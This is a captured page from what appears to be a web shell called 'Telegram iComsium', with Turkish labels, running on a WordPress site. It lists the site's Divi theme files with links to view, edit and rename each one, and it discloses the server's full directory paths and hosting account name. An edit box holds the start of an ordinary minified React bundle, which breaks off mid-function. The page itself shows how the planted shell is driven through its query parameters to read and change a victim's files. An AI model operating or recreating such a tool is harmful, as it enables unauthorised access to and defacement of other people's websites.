<b>Telegram iComsium Current root:</b> /home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi <br><b>Current path:</b> /home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi <hr><a href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes">..</a><br /><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">404.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">CREDITS.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">LICENSE.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">README.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/ai-app">ai-app</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">changelog.txt</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/cloud">cloud</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">comments.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/common">common</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/core">core</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/css">css</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/epanel">epanel</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">error_log</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/et-pagebuilder">et-pagebuilder</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">functions.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/images">images</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/includes">includes</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">index.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/js">js</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/lang">lang</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/onboarding">onboarding</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">options_divi.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">page-template-blank.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">page.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">post_thumbnails_divi.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/psd">psd</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">rtl.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">screenshot.jpg</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">sidebar-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">sidebar.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">single-et_pb_layout.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">single-project.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">single.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">style-cpt-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">style-cpt.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">style-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">style-static-cpt-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">style-static-cpt.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">style-static-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">style-static.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">style.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">style.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">theme-after-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">theme-after-header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">theme-after-wrappers.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">theme-before-wrappers.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">theme-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">theme-header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">theme.json</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">wpml-config.xml</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">[Yeniden Adlandır]</a><br><hr><h3>Dosya Düzenle: index-BCnk5msm.js</h3>
        <form method="POST">
            <textarea name="content" style="width:100%;height:300px;">var Op=Object.defineProperty;var Dp=(u,c,f)=&gt;c in u?Op(u,c,{enumerable:!0,configurable:!0,writable:!0,value:f}):u[c]=f;var Vc=(u,c,f)=&gt;Dp(u,typeof c!=&quot;symbol&quot;?c+&quot;&quot;:c,f);(function(){const c=document.createElement(&quot;link&quot;).relList;if(c&amp;&amp;c.supports&amp;&amp;c.supports(&quot;modulepreload&quot;))return;for(const d of document.querySelectorAll(&#039;link[rel=&quot;modulepreload&quot;]&#039;))r(d);new MutationObserver(d=&gt;{for(const p of d)if(p.type===&quot;childList&quot;)for(const g of p.addedNodes)g.tagName===&quot;LINK&quot;&amp;&amp;g.rel===&quot;modulepreload&quot;&amp;&amp;r(g)}).observe(document,{childList:!0,subtree:!0});function f(d){const p={};return d.integrity&amp;&amp;(p.integrity=d.integrity),d.referrerPolicy&amp;&amp;(p.referrerPolicy=d.referrerPolicy),d.crossOrigin===&quot;use-credentials&quot;?p.credentials=&quot;include&quot;:d.crossOrigin===&quot;anonymous&quot;?p.credentials=&quot;omit&quot;:p.credentials=&quot;same-origin&quot;,p}function r(d){if(d.ep)return;d.ep=!0;const p=f(d);fetch(d.href,p)}})();var Zc={exports:{}},Fn={};/**
 * @license React
 * react-jsx-runtime.production.js
 *
 * Copyright (c) Meta Platforms, Inc. and affiliates.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */var xm;function wp(){if(xm)return Fn;xm=1;var u=Symbol.for(&quot;react.transitional.element&quot;),c=Symbol.for(&quot;react.fragment&quot;);function f(r,d,p){var g=null;if(p!==void 0&amp;&amp;(g=&quot;&quot;+p),d.key!==void 0&amp;&amp;(g=&quot;&quot;+d.key),&quot;key&quot;in d){p={};for(var v in d)v!==&quot;key&quot;&amp;&amp;(p[v]=d[v])}else p=d;return d=p.ref,{$$typeof:u,type:r,key:g,ref:d!==void 0?d:null,props:p}}return Fn.Fragment=c,Fn.jsx=f,Fn.jsxs=f,Fn}var vm;function Mp(){return vm||(vm=1,Zc.exports=wp()),Zc.exports}var s=Mp(),Jc={exports:{}},ve={};/**
 * @license React
 * react.production.js
 *
 * Copyright (c) Meta Platforms, Inc. and affiliates.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */var ym;function Up(){if(ym)return ve;ym=1;var u=Symbol.for(&quot;react.transitional.element&quot;),c=Symbol.for(&quot;react.portal&quot;),f=Symbol.for(&quot;react.fragment&quot;),r=Symbol.for(&quot;react.strict_mode&quot;),d=Symbol.for(&quot;react.profiler&quot;),p=Symbol.for(&quot;react.consumer&quot;),g=Symbol.for(&quot;react.context&quot;),v=Symbol.for(&quot;react.forward_ref&quot;),y=Symbol.for(&quot;react.suspense&quot;),x=Symbol.for(&quot;react.memo&quot;),S=Symbol.for(&quot;react.lazy&quot;),b=Symbol.for(&quot;react.activity&quot;),T=Symbol.iterator;function Y(E){return E===null||typeof E!=&quot;object&quot;?null:(E=T&amp;&amp;E[T]||E[&quot;@@iterator&quot;],typeof E==&quot;function&quot;?E:null)}var R={isMounted:function(){return!1},enqueueForceUpdate:function(){},enqueueReplaceState:function(){},enqueueSetState:function(){}},U=Object.assign,w={};function k(E,Q,X){this.props=E,this.context=Q,this.refs=w,this.updater=X||R}k.prototype.isReactComponent={},k.prototype.setState=function(E,Q){if(typeof E!=&quot;object&quot;&amp;&amp;typeof E!=&quot;function&quot;&amp;&amp;E!=null)throw Error(&quot;takes an object of state variables to update or a function which returns an object of state variables.&quot;);this.updater.enqueueSetState(this,E,Q,&quot;setState&quot;)},k.prototype.forceUpdate=function(E){this.updater.enqueueForceUpdate(this,E,&quot;forceUpdate&quot;)};function $(){}$.prototype=k.prototype;function F(E,Q,X){this.props=E,this.context=Q,this.refs=w,this.updater=X||R}var I=F.prototype=new $;I.constructor=F,U(I,k.prototype),I.isPureReactComponent=!0;var te=Array.isArray;function K(){}var H={H:null,A:null,T:null,S:null},Z=Object.prototype.hasOwnProperty;function q(E,Q,X){var ae=X.ref;return{$$typeof:u,type:E,key:Q,ref:ae!==void 0?ae:null,props:X}}function W(E,Q){return q(E.type,Q,E.props)}function J(E){return typeof E==&quot;object&quot;&amp;&amp;E!==null&amp;&amp;E.$$typeof===u}function L(E){var Q={&quot;=&quot;:&quot;=0&quot;,&quot;:&quot;:&quot;=2&quot;};return&quot;$&quot;+E.replace(/[=:]/g,function(X){return Q[X]})}var P=/\/+/g;function ee(E,Q){return typeof E==&quot;object&quot;&amp;&amp;E!==null&amp;&amp;E.key!=null?L(&quot;&quot;+E.key):Q.toString(36)}function de(E){switch(E.status){case&quot;fulfilled&quot;:return E.value;case&quot;rejected&quot;:throw E.reason;default:switch(typeof E.status==&quot;string&quot;?E.then(K,K):(E.status=&quot;pending&quot;,E.then(function(Q){E.status===&quot;pending&quot;&amp;&amp;(E.status=&quot;fulfilled&quot;,E.value=Q)},function(Q){E.status===&quot;pending&quot;&amp;&amp;(E.status=&quot;rejected&quot;,E.reason=Q)})),E.status){case&quot;fulfilled&quot;:return E.value;case&quot;rejected&quot;:throw E.reason}}throw E}function D(E,Q,X,ae,ce){var xe=typeof E;(xe===&quot;undefined&quot;||xe===&quot;boolean&quot;)&amp;&amp;(E=null);var Se=!1;if(E===null)Se=!0;else switch(xe){case&quot;bigint&quot;:case&quot;string&quot;:case&quot;number&quot;:Se=!0;break;case&quot;object&quot;:switch(E.$$typeof){case u:case c:Se=!0;break;case S:return Se=E._init,D(Se(E._payload),Q,X,ae,ce)}}if(Se)return ce=ce(E),Se=ae===&quot;&quot;?&quot;.&quot;+ee(E,0):ae,te(ce)?(X=&quot;&quot;,Se!=null&amp;&amp;(X=Se.replace(P,&quot;$&amp;/&quot;)+&quot;/&quot;),D(ce,Q,X,&quot;&quot;,function(he){return he})):ce!=null&amp;&amp;(J(ce)&amp;&amp;(ce=W(ce,X+(ce.key==null||E&amp;&amp;E.key===ce.key?&quot;&quot;:(&quot;&quot;+ce.key).replace(P,&quot;$&amp;/&quot;)+&quot;/&quot;)+Se)),Q.push(ce)),1;Se=0;var et=ae===&quot;&quot;?&quot;.&quot;:ae+&quot;:&quot;;if(te(E))for(var Ve=0;Ve&lt;E.length;Ve++)ae=E[Ve],xe=et+ee(ae,Ve),Se+=D(ae,Q,X,xe,ce);else if(Ve=Y(E),typeof Ve==&quot;function&quot;)for(E=Ve.call(E),Ve=0;!(ae=E.next()).done;)ae=ae.value,xe=et+ee(ae,Ve++),Se+=D(ae,Q,X,xe,ce);else if(xe===&quot;object&quot;){if(typeof E.then==&quot;function&quot;)return D(de(E),Q,X,ae,ce);throw Q=String(E),Error(&quot;Objects are not valid as a React child (found: &quot;+(Q===&quot;[object Object]&quot;?&quot;object with keys {&quot;+Object.keys(E).join(&quot;, &quot;)+&quot;}&quot;:Q)+&quot;). If you meant to render a collection of children, use an array instead.&quot;)}return Se}function 